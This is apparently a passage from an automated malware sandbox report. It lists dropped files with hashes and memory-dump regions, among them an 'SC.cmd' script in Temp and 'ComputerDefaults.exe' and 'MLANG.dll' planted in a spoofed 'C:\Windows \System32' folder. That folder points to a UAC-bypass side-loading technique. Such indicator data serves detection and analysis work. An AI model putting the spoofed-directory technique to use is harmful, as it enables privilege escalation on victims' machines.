                                                                                                                                              4a24cd2f7eea1929ac05a4dc990d3e67

                                                                                                                                              SHA1

                                                                                                                                              a5a1ee3e677d7c5991437c8345eaa933ac57294f

                                                                                                                                              SHA256

                                                                                                                                              8ab16f36aefdeee67c57653d0ce6ecc5bc7d114597d20de7361ca8a78c222ee6

                                                                                                                                              SHA512

                                                                                                                                              a283d3efc7ee602c01751eb46ef258993f3e19eef515aa9cc1c749b1217ea4eb10187573ffab3926e11711b428873222a556125702e2d6e5c3693e588b7a39cc

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                              Filesize

                                                                                                                                              1KB

                                                                                                                                              MD5

                                                                                                                                              450971c7d1d56547156c1838b2751215

                                                                                                                                              SHA1

                                                                                                                                              523174269f399a8a9889d3c186c8d25c1f338725

                                                                                                                                              SHA256

                                                                                                                                              087c27dba48abf8e4ca4bdf9de77232610d607a851fc3b6b4e027b8377369eb5

                                                                                                                                              SHA512

                                                                                                                                              d8a9cc30f61feeb0b149fa05cdb67cfc7fc939498b1a526b248006b0410e119b79a6ab39a4733da1428a9d88d8da92313f82da8b6cfeafaefe8498c29d3860d4

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                              Filesize

                                                                                                                                              944B

                                                                                                                                              MD5

                                                                                                                                              1a9fa92a4f2e2ec9e244d43a6a4f8fb9

                                                                                                                                              SHA1

                                                                                                                                              9910190edfaccece1dfcc1d92e357772f5dae8f7

                                                                                                                                              SHA256

                                                                                                                                              0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

                                                                                                                                              SHA512

                                                                                                                                              5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                              Filesize

                                                                                                                                              944B

                                                                                                                                              MD5

                                                                                                                                              795938d4c6e7dbca544ec4bdca81c53a

                                                                                                                                              SHA1

                                                                                                                                              0ca41665a9b6b0c3159211aed5fc595de98afb6b

                                                                                                                                              SHA256

                                                                                                                                              dc400265ecb7f850894b2b648b956964d4fe75639f76bb3634a1f73c3182dbcb

                                                                                                                                              SHA512

                                                                                                                                              19d36e5b648a1d5faa7d7d67d454f0157f99a546532bcf538b1ff81b4acc126124ea937e143a49eb91dce2e657a53378b327078aaacb5c2a8c54a5249a5efff5

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                              Filesize

                                                                                                                                              476B

                                                                                                                                              MD5

                                                                                                                                              cc0a7424b5a617b758fdbfa0c796f957

                                                                                                                                              SHA1

                                                                                                                                              c18c0138a38154e12f89003418e04e8bec9082de

                                                                                                                                              SHA256

                                                                                                                                              cc75cc7316184d602b5ba2e26162418a7d3069d52c6bdaceb5fbf5bdfc599676

                                                                                                                                              SHA512

                                                                                                                                              2e3bfc73e9ecb2e42e9823d846ed9d67f48d7b53cfbfd85fddb51357ad070b8bebcca6a007bd4ebf82e61814deafcdccc2a9acf04f62b9bb5f6699577334a075

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                              Filesize

                                                                                                                                              1KB

                                                                                                                                              MD5

                                                                                                                                              835aa13888812934860a6e5237f8114d

                                                                                                                                              SHA1

                                                                                                                                              cb9ec042337ef800fc895ad913c8a16a43ed119a

                                                                                                                                              SHA256

                                                                                                                                              e911f64e731d10fdd732f2187dfd148d8350cfb03661bd076f9eb2d0f9c7687f

                                                                                                                                              SHA512

                                                                                                                                              b0544eccfe1888f0bb9d8484f7ffb1fbccb1feeefd3a149a5ae32a603103b8261f009000f66fbb98e24c7aeec4a22854b36b88c150769c999bd1e6e9f80ed484

                                                                                                                                            • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                                              Filesize

                                                                                                                                              290B

                                                                                                                                              MD5

                                                                                                                                              f508376aced7e3b653e58a609c1b2769

                                                                                                                                              SHA1

                                                                                                                                              5cdbcc15c597ef6be9209c076261b37f6c190c0c

                                                                                                                                              SHA256

                                                                                                                                              a213531ebc873a51878592fb05c9d08b6a7d0cd8aa63f650f938718f58ebd755

                                                                                                                                              SHA512

                                                                                                                                              c96111441df41bc297a3ceea014b06c14e5e4a27b1b6f1249a9ad21736a463ce34b3c5e4ff961101d9779b8f618e882c156ff1322339a3eb2c45ffce50b086d4

                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\SC.cmd

                                                                                                                                              Filesize

                                                                                                                                              376KB

                                                                                                                                              MD5

                                                                                                                                              121a69448e9f5eef0ba4c1229b471208

                                                                                                                                              SHA1

                                                                                                                                              90abf42b20fb75a7f922b4a83cbeb77ca5dbf5d0

                                                                                                                                              SHA256

                                                                                                                                              b383a0ab3670e505ae0b7a7b6d68c096bb799ce858d8afc2e2ef5d1c1314051a

                                                                                                                                              SHA512

                                                                                                                                              c9e903245c3ab434018e23e4c51bf9d4fcbdb9dc1b85114574c12a2ce5c3ec6cd811fa1b51a34c86c695c6ba79cade1cdc215c4953090a342ba4ff6c1a92bc3d

                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3gx24mnw.0vv.ps1

                                                                                                                                              Filesize

                                                                                                                                              60B

                                                                                                                                              MD5

                                                                                                                                              d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                              SHA1

                                                                                                                                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                              SHA256

                                                                                                                                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                              SHA512

                                                                                                                                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                            • C:\Windows \System32\ComputerDefaults.exe

                                                                                                                                              Filesize

                                                                                                                                              68KB

                                                                                                                                              MD5

                                                                                                                                              640693107ee411d8e862ab115d7b4639

                                                                                                                                              SHA1

                                                                                                                                              497435f5727c5bfe31331ba245e9b7b95dc69d2a

                                                                                                                                              SHA256

                                                                                                                                              a2794be7cb7a4ad2f526fe91ca95a36b2ec1648b288088eaa4809402c7b2c6f4

                                                                                                                                              SHA512

                                                                                                                                              3a554fe1d8d23f06ac86bb078b3e5b4815722adbacbf9492b5b7ad27bf27d44dd948387268dedc2943afc3557ef234e8882475c813cc5f5f4ab566e52bbb03db

                                                                                                                                            • C:\Windows \System32\MLANG.dll

                                                                                                                                              Filesize

                                                                                                                                              122KB

                                                                                                                                              MD5

                                                                                                                                              0b62c554572e9d2dfc51b6367c34700f

                                                                                                                                              SHA1

                                                                                                                                              1a41693552101c650aeeffe9dc9f1c7f7553dd7b

                                                                                                                                              SHA256

                                                                                                                                              b05a80ef8ad197ee36620655100e1fd4111ec946a9f012970da4c61d8da43ded

                                                                                                                                              SHA512

                                                                                                                                              765e2f686a74804063b1face147a2dfd4cac85fb8273b5b0ccbd7606e46fce9865d5bbeeca40af31a8b584dc0bba1ebc0ff3fa8c1993da08a4b09cd15a394ce9

                                                                                                                                            • memory/544-128-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/820-111-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/924-139-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1128-129-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1148-107-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1180-106-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1292-144-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1316-132-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1444-138-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1496-135-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1520-133-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1588-51-0x00007FFF66390000-0x00007FFF6644D000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              756KB

                                                                                                                                            • memory/1588-105-0x00000241D28D0000-0x00000241D28DE000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              56KB

                                                                                                                                            • memory/1588-50-0x00007FFF67520000-0x00007FFF67729000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              2.0MB

                                                                                                                                            • memory/1684-147-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1736-113-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1928-115-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1932-112-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/2288-134-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/2480-146-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/2488-137-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/2532-109-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/2556-110-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/2688-130-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/3308-96-0x0000000002DC0000-0x0000000002DEA000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              168KB

                                                                                                                                            • memory/3308-108-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/3456-145-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/3864-131-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/3872-136-0x00007FFF275B0000-0x00007FFF275C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/4568-14-0x000002C8B5F60000-0x000002C8B5F70000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/4568-13-0x000002C8B6410000-0x000002C8B6456000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              280KB

                                                                                                                                            • memory/4568-15-0x00007FFF67520000-0x00007FFF67729000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              2.0MB

                                                                                                                                            • memory/4568-16-0x00007FFF66390000-0x00007FFF6644D000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              756KB

                                                                                                                                            • memory/4568-19-0x00007FFF466D0000-0x00007FFF47192000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              10.8MB

                                                                                                                                            • memory/4568-17-0x000002C8B6730000-0x000002C8B6778000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              288KB

                                                                                                                                            • memory/4568-18-0x00007FFF466D0000-0x00007FFF47192000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              10.8MB

                                                                                                                                            • memory/4568-0-0x00007FFF466D3000-0x00007FFF466D5000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              8KB

                                                                                                                                            • memory/4568-12-0x00007FFF466D0000-0x00007FFF47192000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              10.8MB

                                                                                                                                            • memory/4568-267-0x00007FFF466D3000-0x00007FFF466D5000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              8KB

                                                                                                                                            • memory/4568-268-0x00007FFF466D0000-0x00007FFF47192000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              10.8MB

                                                                                                                                            • memory/4568-269-0x00007FFF466D0000-0x00007FFF47192000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              10.8MB

                                                                                                                                            • memory/4568-11-0x00007FFF466D0000-0x00007FFF47192000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              10.8MB

                                                                                                                                            • memory/4568-10-0x00007FFF466D0000-0x00007FFF47192000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              10.8MB

                                                                                                                                            • memory/4568-9-0x000002C8B5F00000-0x000002C8B5F22000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              136KB